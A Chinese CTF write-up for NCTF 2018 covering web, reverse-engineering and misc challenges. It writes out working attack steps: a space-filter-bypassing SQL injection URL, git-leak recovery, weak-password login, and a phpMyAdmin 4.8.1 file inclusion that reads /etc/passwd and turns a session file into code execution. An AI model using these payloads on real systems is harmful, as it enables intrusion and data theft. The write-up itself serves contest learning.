NCTF 2018部分Writeup


这次校赛收获了很多,题目质量感觉很高,在没有二进制手的情况下,我们打了校外队伍第9名,对于一向很菜鸡的我感觉很满意了,已经使出洪荒之力了。希望自己进步速度更快一点吧,否则要被自己的学弟们超过会很尴尬的鸭!

Web

签到题

有点坑,没想到是直接访问主域名,前期重点分析了secret.php 这个文件了,绕了弯路。

滴!晨跑打卡

考察MySQL手工注入,这里过滤了空格,替换为%a0即可绕过注入

数据库名:flaaaaaaag

表名:f144444444g

列名:th1s_1s_flag

http://ctfgame.acdxvfsvd.net:20001/?id=1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1

Go Lakers

这个跳转有点诡异,BP转包看返回包,一直往下面翻! 这里有点坑,之前没有往下翻的时候还以为没有返回包信息呢 =.= ,看到如下提示:

<!DOCTYPE html>
<html>
<head>
 <title>嘻嘻嘻</title>
</head>
<body>
<h3>题目在哪呢</h3>
</body>
</html>>
<!-- post me viewsource -->

POST提交viewsource变量可以看到源代码信息:

<?php 
error_reporting(0); 
include 'getip.php'; 
ini_set('open_basedir','.'); 
if(isset($_POST['viewsource'])){ 
    highlight_file(__FILE__); 
    die(); 
} 

mt_srand(mktime()+$seed); 

function de_code($value){ 
    $value = base64_decode($value); 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])-$i*2); 
    } 
    return $result; 
} 

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){ 
    header('location:http://www.baidu.com'); 
}else{ 
    echo 'great'; 
} 

echo file_get_contents(de_code($_GET['file_'])); 

?> 

27行的file_get_contents(de_code($_GET['file_'])); ,找到函数,写个php函数

function en_code($value){ 
    $result = ''; 
    for($i=0;$i<strlen($value);$i++){ 
        $result .= chr(ord($value[$i])+$i*2); 
    } 
    $result = base64_encode($result); 
    return $result; 
} 

flag.php加密,传入得到flag

全球最大交友网站

看到题目title后,首先想到gayhub了,打开题目后是一个css3时钟demo,度娘了一下相同源码然后diff一下线上的没有差异。于是想到应该是git泄露吧。

https://github.com/lijiejie/GitHack 利用脚本获取到 http://ctfgame.acdxvfsvd.net:20003/ 下README.MD:内容为“Allsource files areingit tag1.0”,字母意思内容在tag1.0版本中。

遂查找到p师傅文章,考察Git相关姿势

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

利用p师傅的 https://github.com/phith0n/XDCTF2015/blob/master/gitcommit.py 获取到readme.txt中的flag提交失败,竟然还有假flag这一出??!!

于是再使用了 https://github.com/denny0223/scrabble 脚本获取到了 .git 文件,

git log查看历史

有过三次commit,当前head指向hint这次commit,

git show HEAD 6b21737

没有结果,在show上一次hello的commit修改内容:

得 flag{git_is_very_good} ,哼,还有假flag

小绿草之最强大脑

查看源码,看到源码泄露的hint,访问index.php.bak下载拿到源码:

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
 if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
  session_destroy();
  echo '
  <script language="javascript">  
  alert("怎么没算对呢?");  
  window.history.back(-1);  </script>';
 }
 else{
  if(intval(time())-$_SESSION['time']<1){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你手速太快啦,服务器承受不住!!!");  
   window.history.back(-1); </script> ';
  }
  if(intval(time())-$_SESSION['time']>2){
   session_destroy();
   echo '
   <script language="javascript">  
   alert("你算的太慢了少年!");  
   window.history.back(-1); </script> ';
  }
  echo '
  <script language="javascript">  
  alert("tql,算对了!!");  
      </script> ';
  $_SESSION['count']++;
 }
}
?>

从这个原码泄露得到以下关键信息:

  • input的变量经过了php的intval处理
  • 计算时间要在1-2秒之间
  • 答对次数会累加

intval是防止程序溢出的,我们输入的大于21位的数字经过PHP处理的值一定发生了变化

我们输入的4200000000000000000000经过PHP的intval函数处理的结果为:

<?php echo intval('4200000000000000000000');?>
32位系统:2147483647 64位系统:9223372036854775807

题目的操作系统是64位的,所以我们输入的这个值经过php防止溢出处理后的实际值为9223372036854775807

这里比较核心,因为之前没有考虑到这个导致一直计算失败,知道这个的话开始写Python脚本来提取网页中的公式,然后将计算的结果post提交给服务器:

# author: www.sqlsec.com
import requests
import re
import time
s = requests.Session()  # 因为要连续计算,用来保存当前会话的持续有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000"  #输入的数字
r = s.get(url)
math = ''
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
    num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)   #正则提取公式
    gg = "9223372036854775807"+'+'+math.join(num)[0:-1]  #拼接真实的公式
    print(gg)
    ans = eval(gg)   #利用eval直接来计算结果

    print(ans)
    data = "input={number}&ans={ans}%".format(number=number,ans=ans)

    r =s.post(url,headers=headers,data=data)
    time.sleep(1.5   #延时1.5秒
    print(r.text)

基本操作

给了一个phpMyAdmin的地址

phpMyAdmin的版本信息是:4.8.1 ,联想到近期爆发的phpMyAdmin的任意文件包含漏洞,这个漏洞的利用得登录进去,首先举办方肯定不会给root用户的了,这么高权限要是直接进去的话,那也就太简单了,这些信息不要问我怎么知道的:

2333,拿到了这么多提示就去网上找各种组合的弱口令,最后成功使用guestguest登录进去了。

这种文件包含漏洞可以直接读取任意文件:

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后执行SQL语句,这个flag的位置是自己一个个ls去查找的,找到flag的位置,直接构造以下语句来读取:

利用好自己的session可以执行任意php语句:

本地session默认的位置是:/tmp/sess_+你的phpMyAdmin session值,

index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_choc6nu2qnqdgdeedishaldarvig6sg8

然后包含一下自己的session,这样就将刚刚执行的语句包含了进来,导致任意php命令执行:

NCTF 2018 调查问卷

你需要科学上网。直接酸酸乳打开,在一个谷歌调查问卷最下面找到flag,然后感觉提交,这一题当时在外面吃饭,手机操作效率好低呀~~,提交完答案重新认认真真的来写了份问卷,打了很多出题人。

RE

后门

Web狗表示看到二进制的题目都是一脸懵逼的状态,IDA打开查看下程序的结构,关键分析这里:

双击跟踪这个函数,发现这里可以直接右键转换为字符串格式,然后可以直接读出flag信息:

这里的39是ASCII码,手动转码的答案是:

nctf{Welcome_to_binary's_world}

MISC

Havefun

下载下来是一个zip压缩包,打开需要密码,使用binwalk查看下压缩包里面的内容,发现有1-99个gif文件还有一个wcy_____.txt文件:

想到了zip掩码破解,使用掩码wcy?????来跑下压缩包的密码:

不一会儿拿到了密码:wcy1sg4y解压得到99个gif文件:

Gif文件的话使用identify命令去拆解 Gif,Gif有8帧,8这个数字要敏感,二进制信息就是8个一组的,而且部分Gif的每一帧存在规律:

identify -format "%T \n" filename

经过测试按顺序提取出所有特殊的Gif信息:

identify -format "%s %T \n" *
0 10
1 20
2 20
3 10
4 20
5 20
6 20
7 10

0 10
1 20
2 20
3 10
4 10
5 10
6 20
7 20

0 10
1 20
2 20
3 20
4 10
5 20
6 10
7 10
0 10
1 20
2 20
3 10
4 10
5 20
6 20
7 10

0 10
1 20
2 20
3 20
4 20
5 10
6 20
7 20

0 10
1 20
2 20
3 10
4 20
5 20
6 20
7 10

0 10
1 20
2 20
3 10
4 10
5 10
6 20
7 20

0 10
1 10
2 20
3 20
4 10
5 20
6 20
7 20

0 10
1 20
2 20
3 10
4 10
5 20
6 20
7 10

0 10
1 10
2 20
3 20
4 10
5 10
6 10
7 20

0 10
1 20
2 20
3 20
4 10
5 10
6 20
7 20

0 10
1 20
2 20
3 10
4 10
5 20
6 20
7 10

0 10
1 20
2 20
3 20
4 10
5 20
6 10
7 20

0 10
1 20
2 20
3 10
4 20
5 20
6 20
7 10

0 10
1 20
2 20
3 20
4 20
5 20
6 10
7 20

20 & 10 分别代表 1 & 0 使用编辑器来进行批量替换,保存为txt文件:

写一个脚本来进行转换,二进制先转换为 10 进制,10 进制转换为 ascii 码,asscii 转换为相应的字符串。

# coding:utf-8
# blog:www.sqlsec,com
import re
def file():
  text = raw_input("pleast enter your file path:")
  with open(text,'r') as f:
      binfile = (f.read()).replace("\n","")
      bindata = re.findall(r'.{8}',binfile)
      for i in bindata:
          ascii = int(i,2)
          print(chr(ascii))
file()

国光 wechat
欢迎您扫一扫上面的二维码,加入我们的小队!
听说,打赏我的人最后都找到了真爱。